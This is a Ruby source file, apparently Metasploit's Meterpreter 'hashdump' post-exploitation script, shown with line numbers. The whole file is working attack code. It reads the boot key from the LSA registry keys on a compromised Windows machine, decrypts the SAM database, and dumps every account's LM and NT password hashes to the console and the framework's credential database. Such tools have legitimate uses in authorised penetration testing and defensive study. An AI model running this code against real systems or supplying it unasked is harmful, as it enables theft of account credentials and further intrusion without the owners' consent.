root / scripts / meterpreter / hashdump.rb @ master
History | View | Annotate | Download (7.4 kB)
| 1 |
# $Id$
|
|---|---|
| 2 |
# $Revision$
|
| 3 |
#
|
| 4 |
# Implement pwdump (hashdump) through registry reads + syskey
|
| 5 |
|
| 6 |
@client = client
|
| 7 |
opts = Rex::Parser::Arguments.new( |
| 8 |
"-h" => [ false, "Help menu." ], |
| 9 |
"-p" => [ true, "The SMB port used to associated credentials."] |
| 10 |
) |
| 11 |
|
| 12 |
smb_port = 445
|
| 13 |
|
| 14 |
opts.parse(args) { |opt, idx, val|
|
| 15 |
case opt
|
| 16 |
when "-h" |
| 17 |
print_line "hashdump -- dump SMB hashes to the database"
|
| 18 |
print_line(opts.usage) |
| 19 |
raise Rex::Script::Completed |
| 20 |
when "-p" |
| 21 |
smb_port = val.to_i |
| 22 |
end
|
| 23 |
} |
| 24 |
|
| 25 |
# Constants for SAM decryption
|
| 26 |
@sam_lmpass = "LMPASSWORD\x00" |
| 27 |
@sam_ntpass = "NTPASSWORD\x00" |
| 28 |
@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00" |
| 29 |
@sam_numeric = "0123456789012345678901234567890123456789\x00" |
| 30 |
@sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*") |
| 31 |
@sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*") |
| 32 |
|
| 33 |
@des_odd_parity = [
|
| 34 |
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, |
| 35 |
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, |
| 36 |
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, |
| 37 |
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, |
| 38 |
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, |
| 39 |
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, |
| 40 |
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, |
| 41 |
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, |
| 42 |
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, |
| 43 |
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, |
| 44 |
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, |
| 45 |
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, |
| 46 |
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, |
| 47 |
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, |
| 48 |
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, |
| 49 |
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 |
| 50 |
] |
| 51 |
|
| 52 |
def capture_boot_key |
| 53 |
bootkey = ""
|
| 54 |
basekey = "System\\CurrentControlSet\\Control\\Lsa"
|
| 55 |
%W{JD Skew1 GBG Data}.each do |k| |
| 56 |
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) |
| 57 |
return nil if not ok |
| 58 |
bootkey << [ok.query_class.to_i(16)].pack("V") |
| 59 |
ok.close |
| 60 |
end
|
| 61 |
|
| 62 |
keybytes = bootkey.unpack("C*")
|
| 63 |
descrambled = ""
|
| 64 |
# descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ]
|
| 65 |
descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] |
| 66 |
|
| 67 |
0.upto(keybytes.length-1) do |x| |
| 68 |
descrambled << [ keybytes[ descrambler[x] ] ].pack("C")
|
| 69 |
end
|
| 70 |
|
| 71 |
|
| 72 |
descrambled |
| 73 |
end
|
| 74 |
|
| 75 |
def capture_hboot_key(bootkey) |
| 76 |
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ) |
| 77 |
return if not ok |
| 78 |
vf = ok.query_value("F")
|
| 79 |
return if not vf |
| 80 |
vf = vf.data |
| 81 |
ok.close |
| 82 |
|
| 83 |
hash = Digest::MD5.new |
| 84 |
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric) |
| 85 |
|
| 86 |
rc4 = OpenSSL::Cipher::Cipher.new("rc4") |
| 87 |
rc4.key = hash.digest |
| 88 |
hbootkey = rc4.update(vf[0x80, 32]) |
| 89 |
hbootkey << rc4.final |
| 90 |
return hbootkey
|
| 91 |
end
|
| 92 |
|
| 93 |
def capture_user_keys |
| 94 |
users = {}
|
| 95 |
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ) |
| 96 |
return if not ok |
| 97 |
|
| 98 |
ok.enum_key.each do |usr|
|
| 99 |
uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ) |
| 100 |
next if usr == 'Names' |
| 101 |
users[usr.to_i(16)] ||={}
|
| 102 |
users[usr.to_i(16)][:F] = uk.query_value("F").data |
| 103 |
users[usr.to_i(16)][:V] = uk.query_value("V").data |
| 104 |
uk.close |
| 105 |
end
|
| 106 |
ok.close |
| 107 |
|
| 108 |
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ) |
| 109 |
ok.enum_key.each do |usr|
|
| 110 |
uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ) |
| 111 |
r = uk.query_value("")
|
| 112 |
rid = r.type |
| 113 |
users[rid] ||= {}
|
| 114 |
users[rid][:Name] = usr
|
| 115 |
uk.close |
| 116 |
end
|
| 117 |
ok.close |
| 118 |
users |
| 119 |
end
|
| 120 |
|
| 121 |
def decrypt_user_keys(hbootkey, users) |
| 122 |
users.each_key do |rid|
|
| 123 |
user = users[rid] |
| 124 |
|
| 125 |
hashlm_off = nil
|
| 126 |
hashnt_off = nil
|
| 127 |
hashlm_enc = nil
|
| 128 |
hashnt_enc = nil
|
| 129 |
|
| 130 |
hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc |
| 131 |
|
| 132 |
# Lanman and NTLM hash available
|
| 133 |
if(hoff + 0x28 < user[:V].length) |
| 134 |
hashlm_off = hoff + 4
|
| 135 |
hashnt_off = hoff + 24
|
| 136 |
hashlm_enc = user[:V][hashlm_off, 16] |
| 137 |
hashnt_enc = user[:V][hashnt_off, 16] |
| 138 |
# No stored lanman hash
|
| 139 |
elsif (hoff + 0x14 < user[:V].length) |
| 140 |
hashnt_off = hoff + 8
|
| 141 |
hashnt_enc = user[:V][hashnt_off, 16] |
| 142 |
hashlm_enc = ""
|
| 143 |
# No stored hashes at all
|
| 144 |
else
|
| 145 |
hashnt_enc = hashlm_enc = ""
|
| 146 |
end
|
| 147 |
user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass) |
| 148 |
user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass) |
| 149 |
end
|
| 150 |
|
| 151 |
users |
| 152 |
end
|
| 153 |
|
| 154 |
def convert_des_56_to_64(kstr) |
| 155 |
key = [] |
| 156 |
str = kstr.unpack("C*")
|
| 157 |
|
| 158 |
key[0] = str[0] >> 1 |
| 159 |
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2) |
| 160 |
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3) |
| 161 |
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4) |
| 162 |
key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5) |
| 163 |
key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6) |
| 164 |
key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7) |
| 165 |
key[7] = str[6] & 0x7F |
| 166 |
|
| 167 |
0.upto(7) do |i| |
| 168 |
key[i] = ( key[i] << 1)
|
| 169 |
key[i] = @des_odd_parity[key[i]]
|
| 170 |
end
|
| 171 |
|
| 172 |
key.pack("C*")
|
| 173 |
end
|
| 174 |
|
| 175 |
def rid_to_key(rid) |
| 176 |
|
| 177 |
s1 = [rid].pack("V")
|
| 178 |
s1 << s1[0,3] |
| 179 |
|
| 180 |
s2b = [rid].pack("V").unpack("C4") |
| 181 |
s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4") |
| 182 |
s2 << s2[0,3] |
| 183 |
|
| 184 |
[convert_des_56_to_64(s1), convert_des_56_to_64(s2)] |
| 185 |
end
|
| 186 |
|
| 187 |
def decrypt_user_hash(rid, hbootkey, enchash, pass) |
| 188 |
|
| 189 |
if(enchash.empty?)
|
| 190 |
case pass
|
| 191 |
when @sam_lmpass |
| 192 |
return @sam_empty_lm |
| 193 |
when @sam_ntpass |
| 194 |
return @sam_empty_nt |
| 195 |
end
|
| 196 |
return "" |
| 197 |
end
|
| 198 |
|
| 199 |
des_k1, des_k2 = rid_to_key(rid) |
| 200 |
|
| 201 |
d1 = OpenSSL::Cipher::Cipher.new('des-ecb') |
| 202 |
d1.padding = 0
|
| 203 |
d1.key = des_k1 |
| 204 |
|
| 205 |
d2 = OpenSSL::Cipher::Cipher.new('des-ecb') |
| 206 |
d2.padding = 0
|
| 207 |
d2.key = des_k2 |
| 208 |
|
| 209 |
md5 = Digest::MD5.new |
| 210 |
md5.update(hbootkey[0,16] + [rid].pack("V") + pass) |
| 211 |
|
| 212 |
rc4 = OpenSSL::Cipher::Cipher.new('rc4') |
| 213 |
rc4.key = md5.digest |
| 214 |
okey = rc4.update(enchash) |
| 215 |
|
| 216 |
d1o = d1.decrypt.update(okey[0,8]) |
| 217 |
d1o << d1.final |
| 218 |
|
| 219 |
d2o = d2.decrypt.update(okey[8,8]) |
| 220 |
d1o << d2.final |
| 221 |
d1o + d2o |
| 222 |
end
|
| 223 |
if client.platform =~ /win32|win64/ |
| 224 |
begin
|
| 225 |
|
| 226 |
print_status("Obtaining the boot key...")
|
| 227 |
bootkey = capture_boot_key |
| 228 |
|
| 229 |
print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...")
|
| 230 |
hbootkey = capture_hboot_key(bootkey) |
| 231 |
|
| 232 |
print_status("Obtaining the user list and keys...")
|
| 233 |
users = capture_user_keys |
| 234 |
|
| 235 |
print_status("Decrypting user keys...")
|
| 236 |
users = decrypt_user_keys(hbootkey, users) |
| 237 |
|
| 238 |
print_status("Dumping password hashes...")
|
| 239 |
print_line() |
| 240 |
print_line() |
| 241 |
users.keys.sort{|a,b| a<=>b}.each do |rid|
|
| 242 |
hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::"
|
| 243 |
@client.framework.db.report_auth_info(
|
| 244 |
:host => client.sock.peerhost,
|
| 245 |
:port => smb_port,
|
| 246 |
:sname => 'smb', |
| 247 |
:user => users[rid][:Name], |
| 248 |
:pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], |
| 249 |
:type => "smb_hash" |
| 250 |
) |
| 251 |
print_line hashstring |
| 252 |
end
|
| 253 |
print_line() |
| 254 |
print_line() |
| 255 |
|
| 256 |
rescue ::Interrupt |
| 257 |
raise $!
|
| 258 |
rescue ::Rex::Post::Meterpreter::RequestError => e |
| 259 |
print_error("Meterpreter Exception: #{e.class} #{e}")
|
| 260 |
print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
|
| 261 |
rescue ::Exception => e |
| 262 |
print_error("Error: #{e.class} #{e} #{e.backtrace}")
|
| 263 |
end
|
| 264 |
else
|
| 265 |
print_error("This version of Meterpreter is not supported with this Script!")
|
| 266 |
raise Rex::Script::Completed |
| 267 |
end
|